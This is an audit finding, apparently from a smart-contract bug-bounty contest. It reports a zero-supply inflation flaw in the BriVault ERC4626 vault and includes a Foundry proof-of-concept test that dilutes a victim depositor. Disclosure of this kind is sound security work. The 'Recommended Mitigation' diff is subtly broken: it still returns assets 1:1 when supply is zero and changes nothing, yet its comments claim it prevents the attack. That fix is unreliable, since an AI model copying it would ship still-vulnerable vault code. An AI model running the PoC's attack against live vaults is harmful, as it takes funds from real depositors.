BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Zero-Supply First Depositor Inflation Attack

Root + Impact

Description

  • BriVault's convertToShares() function contains a critical zero-supply inflation vulnerability where attackers can donate tokens to empty vaults, then deposit minimal amounts to receive massively inflated share balances. This violates ERC4626 fairness guarantees and enables systematic theft from subsequent depositors through share dilution.

function convertToShares(uint256 assets) public view virtual override returns (uint256) {
@> uint256 supply = totalSupply();
@> return supply == 0 ? assets : assets.mulDiv(supply, totalAssets());
@> // ❌ When totalSupply == 0, returns assets directly (1:1 ratio)
@> // This allows inflation attacks by donating tokens first
}

Risk

Likelihood: High

  • Zero-supply inflation is a well-documented ERC4626 vulnerability pattern affecting multiple vault implementations.

Impact: High

  • Attackers gain disproportionate control over vault shares with minimal investment

  • Subsequent depositors receive massively diluted shares due to inflated exchange rates

  • Protocol loses economic fairness and user trust in ERC4626 compliance

  • Enables sandwich attacks where attackers front-run legitimate first depositors

  • Destroys vault's ability to provide fair asset-to-share conversion

Proof of Concept

The POC demonstrates how an attacker can donate tokens to an empty vault, then deposit a minimal amount to receive massively inflated share balances that control the majority of the vault. It shows that when convertToShares() ignores vault balance when totalSupply == 0, subsequent depositors receive severely diluted shares due to the artificially inflated exchange rate. The test verifies that an attacker investing 1000 tokens + 100k donation can control over 80% of the vault while legitimate depositors receive negligible shares.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* PoC: Zero-Supply First Depositor Inflation Attack
* Discovery Method: ERC4626 Zero-Supply Analysis
*
* Root Cause: convertToShares() returns assets directly when totalSupply == 0,
* ignoring vault balance. Attacker can donate tokens to inflate vault balance,
* then deposit minimal amount to control share supply and dilute subsequent depositors.
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract ZeroSupplyInflationPoC is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100; // 1%
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
asset = new MockERC20("Mock Token", "MOCK");
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
asset.mint(attacker, 1000000 ether);
asset.mint(victim, 1000 ether);
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(victim);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
/**
* CRITICAL VULNERABILITY: Zero-supply inflation allows attacker to control vault with minimal investment
*
* Attack Flow:
* 1. Attacker donates 100k tokens directly to vault (vault balance becomes 100k)
* 2. Attacker deposits 1000 tokens (gets 990 shares due to 1% fee)
* 3. Vault now has 100,990 tokens backing 990 shares
* 4. Exchange rate: 1 share = ~102 tokens (massively inflated)
* 5. Victim deposits 1000 tokens, gets massively diluted shares
*/
function test_ZeroSupplyInflationAttack() public {
console.log("=== ZERO-SUPPLY INFLATION ATTACK ===");
// Phase 1: Attacker donates massive amount to empty vault
vm.startPrank(attacker);
asset.transfer(address(vault), 100000 ether); // Donate 100k tokens
vm.stopPrank();
console.log("After donation:");
console.log("- Vault balance:", asset.balanceOf(address(vault)));
console.log("- Total supply:", vault.totalSupply());
console.log("- Exchange rate should be 1:1, but...");
// Phase 2: Attacker deposits minimal amount
vm.startPrank(attacker);
vm.warp(EVENT_START - 1 hours);
uint256 attackerShares = vault.deposit(1000 ether, attacker); // Deposit 1000, stake 990
vm.stopPrank();
console.log("After attacker deposit:");
console.log("- Attacker shares:", attackerShares);
console.log("- Vault balance:", asset.balanceOf(address(vault)));
console.log("- Total supply:", vault.totalSupply());
console.log("- Exchange rate: 1 share =", asset.balanceOf(address(vault)) / vault.totalSupply(), "tokens");
// Phase 3: Victim gets massively diluted
vm.startPrank(victim);
uint256 victimShares = vault.deposit(1000 ether, victim); // Deposit 1000, stake 990
vm.stopPrank();
console.log("After victim deposit:");
console.log("- Victim shares:", victimShares);
console.log("- Attacker control %:", (vault.balanceOf(attacker) * 100) / vault.totalSupply());
// Verify the attack success
assertEq(attackerShares, 990 ether, "Attacker gets shares = staked amount");
assertLt(victimShares, 100 ether, "Victim gets massively diluted shares");
assertGt((vault.balanceOf(attacker) * 100) / vault.totalSupply(), 80, "Attacker controls majority");
console.log("=== ATTACK SUCCESSFUL ===");
console.log("Attacker invested 1000 tokens + 100k donation");
console.log("Attacker controls", (vault.balanceOf(attacker) * 100) / vault.totalSupply(), "% of vault");
console.log("Victim lost significant value through dilution");
}
/**
* Demonstrate the root cause: convertToShares() ignores vault balance when totalSupply == 0
*/
function test_RootCause_ZeroSupplyLogic() public {
// Show normal behavior first
vm.startPrank(victim);
vm.warp(EVENT_START - 1 hours);
uint256 normalShares = vault.deposit(1000 ether, victim);
vm.stopPrank();
console.log("Normal first deposit (no prior donations):");
console.log("- Deposited: 1000 tokens");
console.log("- Got shares:", normalShares);
console.log("- Vault balance:", asset.balanceOf(address(vault)));
console.log("- Exchange rate: 1:1 (correct for first depositor)");
// Reset vault state
vm.startPrank(victim);
vault.withdraw(normalShares, victim, victim);
vm.stopPrank();
// Now demonstrate the vulnerability
vm.startPrank(attacker);
asset.transfer(address(vault), 100000 ether); // Donate to vault
vm.stopPrank();
console.log("After donation to empty vault:");
console.log("- Vault balance:", asset.balanceOf(address(vault)));
console.log("- Total supply: 0");
console.log("- PROBLEM: convertToShares() will ignore the 100k balance!");
vm.startPrank(attacker);
uint256 inflatedShares = vault.deposit(1000 ether, attacker);
vm.stopPrank();
console.log("Attacker deposit after donation:");
console.log("- Deposited: 1000 tokens");
console.log("- Got shares:", inflatedShares);
console.log("- Vault balance:", asset.balanceOf(address(vault)));
console.log("- Total supply:", vault.totalSupply());
console.log("- Exchange rate: 1 share =", asset.balanceOf(address(vault)) / vault.totalSupply(), "tokens");
console.log("- DISASTER: Exchange rate inflated by donation!");
}
}

Recommended Mitigation

Modify convertToShares() to always use vault balance in exchange rate calculations, even when totalSupply == 0. Add minimum share requirements or seed shares on deployment to prevent manipulation:

- function convertToShares(uint256 assets) public view virtual override returns (uint256) {
- uint256 supply = totalSupply();
- return supply == 0 ? assets : assets.mulDiv(supply, totalAssets());
- }
+ function convertToShares(uint256 assets) public view virtual override returns (uint256) {
+ uint256 supply = totalSupply();
+ uint256 vaultBalance = totalAssets();
+
+ // Always use vault balance for fair exchange rates
+ // Prevents inflation attacks by accounting for pre-existing balance
+ return supply == 0 ? assets : assets.mulDiv(supply, vaultBalance);
+ }
Updates

Appeal created

bube Lead Judge 20 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!